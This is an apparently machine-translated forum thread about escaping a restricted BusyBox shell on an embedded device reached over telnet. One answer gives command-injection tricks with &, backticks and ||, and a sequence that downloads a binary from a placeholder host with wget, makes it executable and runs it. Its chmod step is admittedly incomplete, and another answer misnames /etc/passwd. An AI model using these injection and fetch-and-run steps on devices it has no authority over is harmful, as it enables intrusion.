有限的 BusyBox 外壳

逆向工程 linux 固件 嵌入式 联网
2021-06-24 10:07:01

我正在测试一些嵌入式设备,但缺乏文档。当我 telnet 到设备时,我只得到有限的 shell。

BusyBox v1.19.2 (built-in shell (ash)
Enter 'help' for a list of built-in commands.

# help
Built-in commands:
------------------
        . : [ [[ bg break cd chdir continue echo eval exec exit export
        false fg getopts hash help jobs kill local printf pwd read readonly
        return set shift source test times trap true type ulimit umask
        unset wait

这是有限shell,不清楚,如何进入完整shell?

3个回答
  • 您需要的命令是chsh(change shell) - 这是shadoworshadow-utils包的一部分
  • 您还可以手动编辑/etc/password以将 shell 更改 /bin/ash为其他内容:

    但是 => 小心新的 shell 存在,否则你会把自己锁在外面!!!


您将需要root执行上述任一操作。

BusyBox 主要专注于大小优化,并且可以在编译时排除/包含命令。因此,在不提供额外信息的情况下,它似乎是一组非常有限的已安装组件

但是,应该清楚的是,这并不意味着设备的固件本身不支持特定的实用程序。如果这不是很清楚,您应该查看常见问题解答 - 什么是 Busybox部分。一些引用应该完全清楚这一点:

“我可以启用 FTP 吗?” - “我们不知道 Foomatic-9000 固件是否带有启用了 ftpd 小程序的 Busybox 二进制文件。(如果您可以访问 shell 提示,请尝试运行“busybox ftpd --help”)。如果有,您可能会不幸的是,我们不知道 Foomatic-9000 固件如何管理各种服务的启动和停止(如果他们已经有 ftpd 服务并且它只是被禁用),或者如何在 Foomatic- 上创建和启用新服务- 9000(如果他们不这样做)。尝试使用谷歌搜索。”

“我可以启用SCP吗?” - “Busybox-1.23.4 没有 scp 小程序。但是,Foomatic-9000 可能已经安装了 scp(例如,如果他们安装了 dropbear),并且可以启用它。如果没有,则可以构建并安装您自己的 scp 工具。尝试使用谷歌搜索。”

您可能应该更多地关注特定设备和安装的固件,而不是关注与 Busybox 本身相关的有限组件集。

对您来说不幸的是,如今大多数嵌入式设备(即路由器、物联网设备等)都试图阻止用户访问内部系统,以便他们无法破解或修改它。这是一种防止像 mirai 这样的僵尸网络工作的措施,尽管保护措施并不总是非常有效。

有限的busybox shell 是一个非常常见的场景。幸运的是,一般来说,如果有任何类型的用户界面(如 telnet 或 ssh),busybox 需要一个底层 shell。这意味着有可能绕过该 shell 并在底层 shell 上运行命令(即 /bin/sh 非常常见)。

在尝试逃离busybox沙箱之前,您必须考虑以下事项:

  • 制造商可能已经修改了 busybox shell 来修补这种技术
  • 底层外壳可以是(完整或部分)非特权外壳。这意味着即使您设法在其上运行命令,它们也可能不起作用或告诉您您没有足够的权限。
  • 底层外壳也可能是另一个有限外壳(不常见)

一旦你准备好了,你可以尝试以下“技巧”:(所有的依赖shell操作符)

尝试类似的事情

echo "Hello World" & <your command>

如果出现以下情况,这将执行您的命令:

  1. 二进制文件可用(所以基本上如果它安装在系统中)
  2. shell 可以访问它(特权)

还有其他方法,例如:

echo "Hello World" `your command`
echo "Hello World" || <your command>

以及您可以在互联网上找到或自己尝试的其他变体。

编辑:我正在编辑以添加一个示例,说明如何转义 shell 并获得进一步执行。

echo "Hello World" & wget yourweb.com/yourbinary
echo "Hello World" & chmod yourbinary 
echo "Hello World" & ./yourbinary

或直接 ./yourbinary

这就是想法。至于 chmod 抱歉,我不记得给予执行权限的确切参数。

EDIT2:我注意到你的 shell 显示 ash,所以可能 busybox 是从一个从 ash 运行的(自动)脚本中执行的。在这种情况下,您希望直接在 /bin/ash shell 上运行命令。